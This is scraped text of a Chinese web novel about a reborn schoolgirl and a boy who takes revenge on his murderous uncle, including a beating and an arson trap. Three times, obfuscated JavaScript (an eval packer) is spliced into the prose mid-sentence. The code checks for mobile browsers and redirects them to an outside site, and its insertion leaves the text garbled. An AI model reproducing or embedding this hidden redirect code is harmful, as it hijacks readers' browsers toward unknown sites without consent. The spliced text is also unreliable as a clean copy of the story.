对了,是他送的那只随身听。 这下,算是彻底分手了。 不,打从一开始,他就没有表白过,也没有明确说过要在一起。 暧昧不清的开始,戛然而止的结束,很多年少的恋情,不都是这样的吗? 走过两遍青春的她,不是更应该处之泰然? 可是为什么,心里却像空了一块,呼呼的风灌进来,凉意从内向外,浸透全身。 “他,有没有说什么?” “没有,哦,对了,他说他从枫云酒店退房了。” 潜台词是,叫她不要再找他。 见她垂下眼,姚摇拉起她的手,“小遇,别难过,俊哥哥交了女朋友,我一开始也很难受,现在也慢慢接受了,我相信,我一定会遇见一个更好的人,你也要相信。” 少女仰起的面孔透出倔强,清亮的眼眸中闪烁对未来的希冀。 秦遇回握住她的手,点点头。 有那么一个人,很好, 没有,也很好。 第二天,有个快递员把包裹送到家里,打开一看,是她的毛衣和外套,已经洗干净并熨烫好。 她收下东西,转头去自己房间,拨打穆逢的电话。 他的毛衣和外套还在这里,她没道理留着。 电话嘟嘟地响着,没人接。 发短信,始终是未读。 既然他已经下定决心从她的生活里消失,她也不想再做纠缠,想把他的衣服丢掉,又觉得不是自己的东西,不合适,最后还是叠好了,放到衣柜最底层。 他送的红色walkman不见了,这验证了她记忆中的那一幕,她的确是当着他的面,狠狠把它摔到了地上。 至于有没有摔坏,现在已经不重要。 寒假闲来无事,整理背包的时候,从里面摸出了那本紫色硬皮笔记本,她有些奇怪,不明白它为什么会在这里,明明一直放在抽屉最里面,严加保密的。 翻开笔记本,第一页上最后一行的“救他”几个字落入眼中,她看了半天,拿起笔,毫不留情地划掉。 一道,又一道。 可是无论怎么划,还是能看见原本的字迹。 撕掉?又觉得不舍得,最后索性拿出一款纸胶带,贴上去,终于把那行字遮得严严实实。 仿佛遮住了它,就遮住了和他一起的时光。 用了一学期的牛仔蓝背包,脏成了灰蓝色,干脆把里面的东西都倒出来,好好洗一洗。 背包里总能翻出让人意想不到的东西,比如消失很久的一枚发卡,比如久寻不见的一块橡皮,比如校门口奶茶店“再来一杯”的优惠券。 再比如,手里这个黑丝绒方形小盒。 秦遇把这东西拿在手里,翻来覆去看了几遍,她实在想不起来,曾在何时何地买下装在这小盒里的首饰。 盒子的咬合力很强,她用了点力才掰开。 黑色的丝绒垫上,一只银耳钉静静卧在那里,发出清冷的寒光。 这是穆逢的耳环,她一眼就认出来了。 从第一天认识穆逢,他就戴着这枚耳环,从没摘下来过。 它曾在阳光下闪烁刺眼的光,也曾反射月光淡淡的光辉,第一次,他从车棚的暗处向她走来时,除了指间闪烁的烟火,就是耳边这只银耳钉。 很难说服自己,这不是他特意放在这里的。 她小心翼翼地取出耳环,放在手心。 小小一个圆环,却很有分量,比她想得重。 通体干净,耳钉部分没有一点污垢,显然是仔细擦试过。 她把耳钉翻过来,看到反面有细小的刻痕,拿到台灯下细看,看出是一个哥特体的F.。 F,是代表“逢”吗? 穆逢这是什么意思? 一面说着自己是不详的人,推开她,一面又把自己日日佩戴的耳钉留给她。 这是要她记着他? 她已经不是十几岁的少女,不会被这种低成本付出迷惑。 她才不会让他得逞! 把耳钉塞回盒子,她“啪”一下合上盖子,把它丢到堆杂物的抽屉里。 她决定忘掉他。 转眼又到了年底。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236108|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚上八点多,春节晚会已经开始,一家人围坐在电视机前看节目,徐伟民从二楼阳台探出头来叫她。 “小遇,小遇。” 她推开客厅的门,走到院子里,在寒夜的空气里抬起头,看向徐伟民,“这个点你不陪叔叔阿姨看春晚,叫什么?” 徐伟民笑得一脸灿烂,“听说今年有花灯游街活动,我们也去凑热闹吧?” 秦遇正在犹豫,秦征从她身后蹦出来,热情地回应,“去去,伟民哥,我也要去。” “可是,我们家没有花灯。” 秦遇提醒他。 “没关系,我有。” 徐伟民说着,从上面抱起一堆花灯展示给姐弟俩,“放心,我这里准备了一大堆,过来挑挑。” “来了。” 话音未落,秦征已经一溜烟似地跑向楼道,秦遇对爸妈交待了一下,带上两人的外套出了门。 秦遇提着青色燕子灯,徐伟民捧着粉色蝴蝶造型灯,秦征举着白色独角兽灯,三人有说有笑地向街上走。 沿着巷子口的街道一直向西走,转过一个路口,再往南走三百米,就到了一条主干道,远远地,看见前面有一条一百米长的灯笼队伍,三人加快步伐赶上去。 美人鱼、书生、狐狸、海豚,各种造型的花灯应有尽有,参与花灯游行的大部分都是少年,也有家长不放心,跟在后面。 每走几步,空中就有烟花绽放,引得众人驻足观赏、赞叹一番。 队伍一直向西走,秦遇无意中问了一句,“终点是哪里?” 身后有个人回答了一声,“长盛路,走到长盛路再折回来。” 长盛路,就在穆逢上一世出事那条小巷旁边。 今晚正是除夕,他会不会…… 秦遇使劲摇了摇头,又在瞎想什么呢?不是说好不管他了吗? 可是,总觉得他有什么难言之隐在瞒着她。 她这样想着,不知不觉跟着队伍走到了长盛路,这是一条东西向的路,路面年内新翻修过,整洁宽敞,路灯也是新的,灯火通明,可是再往北不远,就是一排老旧的平房,少有人住,所以也没人出钱修路、安装路灯,路的另一侧,就是那条小巷。 就在这时,口袋里的小灵通震动起来。 是姚摇。 一接起电话,姚摇激动的声音就冲出来。 “小遇,告诉你一个惊天八卦,我邻居的三姨妈的大舅子的二叔公有套老房子,自己不住,一直租给别人,你知道的吧?” 秦遇被她绕得头晕,“说重点。” “重点是,租他房子的人,是十七中的女生,叫亢丽娜,听说她被绑架了,为了不打草惊蛇,警方正在暗中调查……” “嘭!” 伴随着一声巨响,一朵硕大无朋的烟花在高空散开,七彩流光倾泻而下,把蓝黑天幕照得亮如白昼。 在一片惊叹声中,她听见自己的声音怪异得不成调子。 “摇摇,你再说一遍。” “我说,亢丽娜,你的情敌,她被绑架了。” “哎,妈妈,我这就过来,”姚摇又压低声音,“总之,我只知道这么多,好像是为了人质安全,目前警方只在暗中调查,亢丽娜是外地人来的,这边也没有亲人,我只知道这些,我妈又叫我了,我先挂了。” 一瞬间,周围的烟火、花灯、笑声,都离自己很远,她耳边只不断回想一个声音,穆逢的声音。 “我是个不详的人。” “靠近我的人,没有好下场。” 所以,他才故意推开她? 可是,他也不该故意接近亢丽娜。 对一个人的保护,不应该以放任另一个人受到伤害为代价。 他不是这种人。 她的视线再次飘向那排平房,或许,一切答案就在那里。 除夕夜,长盛路。 一样的时间,一样的地点。 是不是冥冥中有股力量在指引着她,让她来到这里? 如果亢丽娜被绑架了,穆逢呢?他在哪里? 秦遇紧紧捏着手里的花灯木杆,一瞬间,她做了决定。 她跑到前面,找到徐伟民和秦征,叫住他们,“伟民,你看好秦征,带他回家,摇摇正赶过来,我在这里等她。” 徐伟民有点不放心,“你一个人在这里等,能行吗?” “你看,后面还有不少人,再说,摇摇马上就到,我们俩一起回去。你要是不放心,等会再给我打电话。” 她说着,晃了晃手里的小灵通。 她提着花灯,逆着人群,向队伍末尾走去,然后,确保徐伟民和秦征越走越远,看不见她的时候,她拔腿向平房后的小巷跑去。 59. 好戏 她当然是骗徐伟民的。 姚摇不会来。 她只是想去看一看,穆逢会不会出现在那条小巷。 不是理智衡量后的结论,不是深思熟虑后的决定,只是听从心头的声音,想去就去了。 和人流背道而驰,喧嚣和热闹逐渐远去,越靠近小巷,越安静,越昏暗。 为了不引人注意,走到半路上,她就悄悄关了花灯的开关,把它放在路边。 她一向怕黑,可是此时此刻,却有一股无名的力量支撑着她,让她无所畏惧地往那里走。 她只想看看,穆逢在不在那里,会不会遭遇和前世一样的命运? 如果会,她能不能及时赶到,提醒他?甚至救下他? 狭窄曲折的巷子里,只有一盏路灯,发出幽暗的光。 一个人也没有。 她松了口气。 可是,慢着,正在她放松下来,想要转身离开时,一个修长的身影从一栋平房里跑出,跑过路灯下,向和她相反的方向跑去。 清瘦高大的身影从路灯下掠过时,秦遇看清了他的装扮。 卫衣、工装裤、鸭舌帽。 手长脚长,跑步的姿势十分轻盈。 不是穆逢还有谁? 秦遇屏住呼吸,克制住要喊出他名字的冲动,跟了上去。 他果然出现在这里,难道,这就是他无法改写的命运? 穆逢右前方,有一栋老旧的五层楼房,顶楼的四扇窗户中,有一扇是打开的。 她的视力一向很好,所以,在抬头的一瞬间,她看见打开的那扇窗户里,有一点亮光闪烁。 只一下,就熄灭了。 是火光?还是手机屏幕的反光? 她的心突突地跳起来。 那里有人! 会是谁? 眼看穆逢就要经过那扇窗下,她的心揪起来。 高空抛物,只要一件寻常小物,轻轻一推,就能置人于死地。 难道,就是这里? 她的心跳到了嗓子眼,她使劲全身的力气,冲着穆逢的背影大喊…… “唔……唔……” 斜刺里伸出一只手,牢牢捂住了她的嘴,把她所有的声音都堵回去。 她顾不得身后人是否有恶意,只顾盯着前方穆逢的背影,拼命挣扎。 身后的人死死钳住她,她拼尽全力也动弹不得分毫,想张嘴咬捂住她的手,也做不到。 这个人的手臂结实有力,温热的胸腔抵着她的背,一股熟悉的气息从身后传来。 “你还是来了。” 不该出现在这里的声音,在耳后响起,热气扑在她耳朵上,她浑身的汗毛都竖了起来。 如果身后这个人是他,前面那个,又是谁? 她的眼睛因惊恐而大睁。 前方,“穆逢”奔跑的动作忽然停住,身子晃了晃,向前扑倒在地上。 “嘘,别出声,是我。” 确认了,是他的声音,秦遇的身体因激动而微微发抖,她一边深呼吸,一边努力点了点头。 捂住她的手一寸寸松开,她慢慢转身,对上一双熟悉的眼睛,那闪着寒星般光芒的锐利的眼睛,此刻正温柔的注视着她。 她死死盯住他,连眨眼都不敢,生怕一个眨眼,他就消失了。 眼睛因为酸胀而流泪,她却没意识到,只是怔怔地看着他。 穆逢抬起手,为她擦去眼泪。 “你放心,这一次,我不会再死在这里。” 这句话不啻于一道惊雷,炸得她头晕目眩。 “你也是,你……” 穆逢轻扬嘴角,给了她一个安抚的笑,“是,我和你一样,也重来了一次。” 不对,不对,他怎么知道自己是重生的? 还有,前面那个倒下的“穆逢”,又是谁? “那只是一个替身,他身手好得很,没事。” 穆逢说着,拉起她的手,神情变得严肃,“我不想让你卷入危险,可是,既然你来了,就紧紧跟在我身边,我会确保你的安全。” 他拉起她的手,转身往两栋房间之间的过道跑去,过道狭窄,漆黑一片,可是握住他的手,她却觉得莫名安心。 在一片漆黑中,她已经分辨不清方向,只知道穆逢带着她穿过三个这样的过道,来到了一栋楼外面,这栋楼的外墙上,有一个外置旋转楼梯,位于小巷的背面。 “跟着我,慢点走,不要发出声音。” 她在黑暗中点了点头,借着暗淡的月光,看见他没牵她的那只手里,握着一个细长条状的东西。 来不及细想那是什么,穆逢已经带着她到了旋转楼梯的三层,他停下脚步,对她使了个眼神,拉她一起贴到墙面上。 这样保持了大概一分钟,他掏出手机,按下一个按钮。 其间,穆逢保持着高度紧张,月光照在他光洁的额头上,折射出一点水光。 他出了不少汗。 秦遇知道自己也好不到哪里去。 就在这时,穆逢的手机亮了一下,他盯着屏幕看了两秒,拉起秦遇的手。 “屋里清干净了,我们进去。” 旋转楼梯的顶层通向墙体上开的一扇门,这扇门刚才还紧闭着,现在却被人从里面打开。 穆逢带她进去,走过一段很长的走廊,一直来到了尽头的房间,房间的门大开着,里面没有灯,却有三个穿着黑衣的年轻男人。 见到穆逢,领头的那个走上前来,态度谦恭。 “小穆总,楼里的人已经全收拾了。” 秦遇这才意识到,房间的角落里还有几个人,他们被用粗麻绳捆得结结实实,嘴里塞着抹布一样的东西,发不出一点声音。 “做得好,现在,我去跟长辈打个招呼。” 穆逢说着,拉起秦遇的手走到窗边, 冷风从窗口灌进来,从窗口往下,正好能看到趴在地上的“穆逢”。 他长长的手臂和腿无力地摊开,侧脸贴着地面,一动不动。 秦遇这才意识到,这个窗口,正是自己刚才看见的有火光闪烁的房间。 穆逢转过头看她,月光下,他的面孔英俊得不可思议,那双一贯冷峻的眸子里,浮现出异样的神采。 “来,小遇,耐心等一等,我带你看一场好戏。” “我的复仇戏。” 巷子尽头,响起一阵怪异的声音,那是橡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249327|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胶车轮在粗粝地面摩擦的声音,在静谧的小巷里格外刺耳。 秦遇循声看过去,见小巷尽头的暗影里,缓缓驶出一架轮椅,轮椅上的人穿着一身西装,手里握着一柄手杖,金丝边眼镜的镜片,反射着亮光。 后面负责推着轮椅的,是一个像熊一样健硕的男人。 轮椅慢慢滑到了窗户下,停住,穆逢看向秦遇,竖起食指放在唇边,做了个噤声的动作。 秦遇会意,连呼吸都变得小心。 她的眼睛一瞬不瞬地盯着轮椅上的人。 坐轮椅,戴金丝边眼镜,浑身散发出温文尔雅的气质,这不是穆逢的舅舅吗? 她惊疑不定地看向穆逢,像是明白她在想什么,穆逢对她点一点头。 轮椅上的人用手杖戳了戳趴在地上的“穆逢”,动作轻蔑而粗暴,地上的“穆逢”一动不动,像一个巨型人偶,任他摆布。 他抬了抬手,身后熊一样的男人调整轮椅的方向,把他推到穆逢脸旁边。 他弯下腰,用手杖拨掉“穆逢”头上的帽子,拨开“穆逢”脸上的头发,瞬间变了脸色。 “蠢货,这不是他!” 话音未落,轮椅上的人抬头看过来,穆逢一把将她拉到身后,自己则探出身去,对楼下笑道,“果然还是舅舅了解我,看一眼就知道是假的。” 穆逢那漫不经心,甚至带着几分调侃的声音,回荡在空气中。 轮椅上的人抬起头来,借着路灯的光,秦遇看清了他的脸,确实是曾开着保时捷来接穆逢的舅舅,洛照泽。 只不过,那张温柔儒雅的面孔,此刻有些扭曲。 镜片后的眼睛,像一条毒蛇散发出恶意。 “不愧是我的外甥,心思缜密,居然瞒了我这么久!” 穆逢浑不在意地笑了,笑声在夜空中回荡,“都说外甥像舅,演戏这会事,还是多亏了您亲身示范。” 说完,冲着下面喊了一声,“顾冲,还等什么!” 听到这一声,趴在地上的“穆逢”一跃而起,猛得扑向洛照泽身后的保镖。 或许太过突然,那像熊一样的高大保镖,竟然顷刻间就被制服。 穆逢则弯腰拿起立在墙边的那柄日本刀。 这是一柄日本打刀,穆逢把它拿在手里,刀刃向上,抬手轻轻一推,雕刻着七宝花纹的刀鞘滑落地面,锐利的刀刃在月光下闪着寒光,柳叶形的刀身,映出穆逢冰冷的双眼。 “舅舅,还记得这把打刀吗?你送我的十七岁生日礼物,打刀的用法,也是你手把手教的。” 穆逢一寸寸打量着手里的打刀。 “其实我一直不喜欢日本的东西,不过,既然你那么喜欢,我还是要好好用它。” 说着,眸光猛然收缩,他抬起手,蓄满力量的手臂线条紧绷如弓弦,往窗下一掷,打刀离手,朝洛照泽的双腿刺去。 秦遇惊得捂住嘴。 电光火石间,那瘫痪在轮椅上的洛照泽,猛然一个跳跃,翻身,躲开了这一刀。 刀身没入轮椅的皮质坐垫。 洛照泽大口喘着粗气,扶墙站着,姿势很狼狈,两条腿却是结结实实地立在地上。 原来,他根本没瘫痪! 60. 重生 穆逢摇了摇头,露出惋惜的模样,“我还以为就算舍弃双腿,舅舅也会把戏演到底。” 说着,回头沉声下了命令,“林五,你去把舅舅请上来。” “是。” 为首的黑衣人冲出房门,两分钟后,洛照泽就被带到了屋里。 此时,窗帘已经拉上,屋里开了灯,老旧的钨丝灯泡发出暧昧不清的昏黄光线。 不过,这个亮度足够了。 洛照泽就站在他们面前。 瞧他,多狼狈啊。 剪裁合体的高定西装沾上了泥土,领口歪到一边,在被林五拖拽来的路上,金丝边眼镜的镜片掉了一只,精心打理过的发型也乱了,双手被反剪至身后。 秦遇不安地动了动,仰头看向他,“我在这里,好像不太合适。” 穆逢握住她的手,“当然合适,不能更合适了!我的事情,已经没有任何对你隐瞒的必要。之前的谎言,也到了该解释的时候。” 洛照泽眼珠转了转,几秒之间,他就调整好了面部表情,当他再度开口时,已经恢复了温和宽厚的长辈模样。 “小逢,我想,我们之间有些误会。” 穆逢眼神一凛,声音沉下来,走上前揪住他的领口,握紧拳头,恶狠狠地盯着他,“误会?什么误会?” “是你在我妈的新车发动机下安装炸药,亲手送走自己姐姐的误会?还是你买通护士,在我给老爷子的药里偷偷下毒的误会?” “是你假装双腿被炸瘫痪,误导是老头子对我妈下手,让我们父子内斗的误会?还是你在A城游乐场叫人做手脚,想看我意外身亡的误会?” 穆逢一句一句,拆穿他的谎言,揪出他的罪恶。 每说一句,他的脸色便沉郁一分,拳头又更硬一分。 洛照泽舔了舔干涩的嘴唇,堆起笑容,“小逢,你误会我了,你说的这些,我根本不知道是怎么回事,再怎么说,你妈妈可是我亲姐姐,我怎么会对她做出那样的事……” “我是来复仇的!”穆逢咬牙切齿地打断他,双眼中燃起熊熊烈火,“不是来听你狡辩的!” 抬手往他脸上就是一记重拳,接着,又是一拳,洛照泽的眼镜飞到一边,鲜血混着断齿,从他的嘴角淋漓淌下, 洛照泽最开始还挣扎求饶,后来就只剩下喘气了。 秦遇看得心惊肉跳,这样凶狠暴戾的穆逢,叫她害怕,可是一想到穆逢曾惨死在洛照泽手下,他的妈妈又被他设计害死,就觉得这几拳根本不算什么。 她别开眼。 穆逢终于停手,把一脸血肉模糊的照泽重重往地上一扔,他在地上滑了一段距离,“嘭”一声撞到墙上,老旧墙皮震动散出的粉尘,撒了他一头一脸。 洛照泽挣扎了几下,想要爬起来,最终还是无力地瘫在地上。 穆逢抬起腿,重重踹了他一脚,看着他痛苦得蜷缩成一团,心头恨意才稍稍疏解。 他掏出纸巾,慢慢擦了擦手,指着墙边几个扭动的麻袋,对林五说,“带他们离开,把他一个人留下就行,毕竟,再过一会,那些汽油就会被引燃。那本来是招待我的,对吧,舅舅?” 这一声舅舅,温和至极,却叫洛照泽忍不住打了个寒噤。 “不,你不能!别忘了,你那个漂亮的女朋友还在我手上,我要是死了,她也别想活!” 洛照泽那张破烂不堪的嘴,一张一合,仍在发出威胁的话。 “如果我回不去,她就会……” 话还没说完,一道爽利的女声从门口传来。 “你在说我吗?” 洛照泽艰难地扭过头,一脸见鬼的表情,结结巴巴地说“你怎么,你不是,不对……” 一身粉色丝绒运动套装,长发及腰的亢丽娜甩甩头发,步伐轻盈地走进来。 走过洛照泽身边时,她鄙夷地看了他一眼,“这位大叔,你的手下实在太不入流,绑我的绳子没有一点技术含量,啧啧,还说是什么格斗高手,不出两个回合就被我撂倒了。” “不过,说到底,还是我太强,算了,高手的寂寞,说了你们也不懂。” 洛照泽不敢置信地盯着她,“你、你到底是谁?” 亢丽娜不再理他,走到穆逢面前,对他伸出手,“合作愉快,小穆总,雇佣金已到账,我很满意。” 穆逢看着她伸出的手,犹豫了一下,低声问秦遇,“我能跟她握手吗?” 秦遇撇撇嘴,“你们那么熟,想握就握,问我干什么。” 说完就觉得懊悔,这句话里的醋味简直不要太冲。 亢丽娜无所谓的收回手,“恋爱的酸臭味,真叫人受不了,好了,再见,我要回日本了,不过临走前要去跟租房给我的老头和警察打个招呼,免得他们还以为我被绑架了。” 亢丽娜转身往外走,穆逢忽然叫住她,“等一下。” “干什么?” “请你对小遇解释一下,你没戴她的头盔。” 亢丽娜愣了一下,几秒后忽然笑了,“真是的,居然做到这个地步,不过,我们的雇佣关系已经结束,这个,要加钱。” “加,十万够不够?” “小穆总够爽快,”她立刻转身,走到秦遇面前,对她笑靥如花,“秦小姐,你现在应该明白了,我跟小穆总只是雇佣关系,就连演戏给那个人看,”她指了指愣在那里的洛照泽,“坐他的摩托车,我都得自备头盔,我呢最喜欢粉色,私服和装备都是粉的,所以,我没有戴过你的头盔。” 说完,直起身看向穆逢,“怎么样?小穆总,这样的解释,合格吗?” 穆逢点点头,“你可以走了。” 秦遇不解地看向穆逢,“为什么要她解释这个?” 虽然,她心里确实很介意这一点,可是,她从来没有说出来啊! 穆逢轻轻开口,“你喝醉那天,说过的。” 秦遇“哦”了一声,迅速移开视线。 穆逢绕到她身前,拉起她的手,“小遇,我们走。” 林五几个人,已经把麻袋里的洛照泽手下搬出去,屋里除了他们俩,只剩下在墙角呻吟的洛照泽。 穆逢拉起秦遇的手,看也不看他一眼,干脆利落地走出房间。 临出门前,秦遇下意识回头看了一眼,却发现,洛照泽正死死地盯着她,见她回头,那张血肉模糊的脸上,竟露出一抹诡异的笑。 她一惊,疑心自己看错,立刻转过头,拉紧穆逢的手。 小巷里已经空无一人,假扮成穆逢的顾冲和洛照泽的保镖,都不见了。 刚才的一切,就像一部复仇电影,而她误打误撞闯进来,直接切入高潮部分。 秦遇有片刻的失神,脚下一软,险些扑倒在地。 穆逢及时揽住她的肩膀,把她半搂在怀里。 她仰头,看向穆逢寒星一样的眸子,轻声叫他。 “穆逢,杀人是犯法的。” 穆逢垂下眼和她对视。 “上一世,他炸死了我妈,毒死了老头子,也害死了我。你说,我该不该向他复仇?”穆逢的眼睛里,愤怒的火焰节节高涨。 秦遇咬住下唇,“该! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259436|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 穆逢抬手揉了揉她的头发,叹一口气。 “本来,我是想用那把打刀亲手解决他的,不过,考虑到我们的将来,我这双手,还是不沾血腥的好。” 穆逢拉起她的手,慢慢向前走。 “还有十七分钟,自动点火装置就会启动,到时候,洛照泽就会被烧死。” 两人的脚步声,在寂静的走廊里响起,身后,洛照泽的呻吟越来越微弱。 “杀人犯死于自己精心安排的阴谋,这个结局,也不错。” 从昏暗的小巷转入主干道,光线陡然一亮。 秦遇下意识抬手,想要遮一下光,穆逢比她动作更快,把手张开,搭在她额头上。 路灯从头顶洒下来,给他周身镀上一层柔光,他身上的气质变了,少了阴鸷和沉重,就连周身的空气,都明快轻松起来。 此时此刻,她明白,长久以来积压在他心头的压力,终于卸下。 她叹一口气,拿下他的手,“没事了,我已经习惯这里的光线了。” 穆逢“嗯”了一声,拉起她的手,“我想走走。” “我陪你。” 口袋里的小灵通震动起来,掏出来看一眼,是徐伟民打来的。 “喂,小遇,你怎么还没回来?” “唔,我跟姚摇走一走,有话要说,马上就到了,拜拜。” 她迫不及待地挂断电话。 穆逢抬手看了看表,“时间不早了,我送你回家。” “我们慢慢走回去吧,今天发生了这些事,我也想走一走。” “好。” 一阵夜风吹过,她打了个喷嚏,穆逢把她的手拉放到自己的外套口袋里。 在这个小小的半封闭空间里,他的手和她的手紧密地贴在一起,温暖又舒适。 “洛照泽,真是你舅舅?亲舅舅?” “当然,你觉得我们长得不像?” 她转过头,端详了一下他的面孔,虽说外甥像舅,可是穆逢的长相英俊而锐利,洛照泽却一副温文尔雅的模样,两人从外貌到气质都南辕北辙。 “嗯,确实不像,不过,我只是没想到,会有做舅舅的,对自己的亲外甥下死手。” 穆逢露出一抹苦笑,“有没有听过人心不足蛇吞象?只要我们一家三口都死绝,洛家和穆家的财产,就都落到他手里了。” “上一世,他是我最信任的人,直到临死那一刻,我才知道他是凶手。” “在那之前,我一直以为是老头子害死我妈,所以处处和他作对,明知他死得有蹊跷,也不追查,反而觉得他活该。” 穆逢的声音里,流露出一丝痛楚。 秦遇握紧他的手,安慰道“这一次,你赢了。” 穆逢垂眸,唇角漾起一抹浅笑,更紧地回握住她。 “对了,你重生到了哪一天?” “我妈死后的第七天。” “所以,我跟你说了那么多次,不要留在这里,你会有危险,你还是坚持留下,就是为了延续上一世的轨迹,引出洛照泽的狐狸尾巴?” 穆逢点点头,“是这样,有上一世的经验,我提前预知了他的计划,重生第一天起,我就想着将计就计,干掉他!” 路灯把两人的影子拉长,不知不觉,他们已经走到了秦遇家的巷子口。 “说说你吧,小遇。” 穆逢停住脚步,转身面向她,漆黑明亮的眼珠,沉沉地盯住她。 “上一世,你和吕程到底是什么关系?” “你嫁过他,是不是?”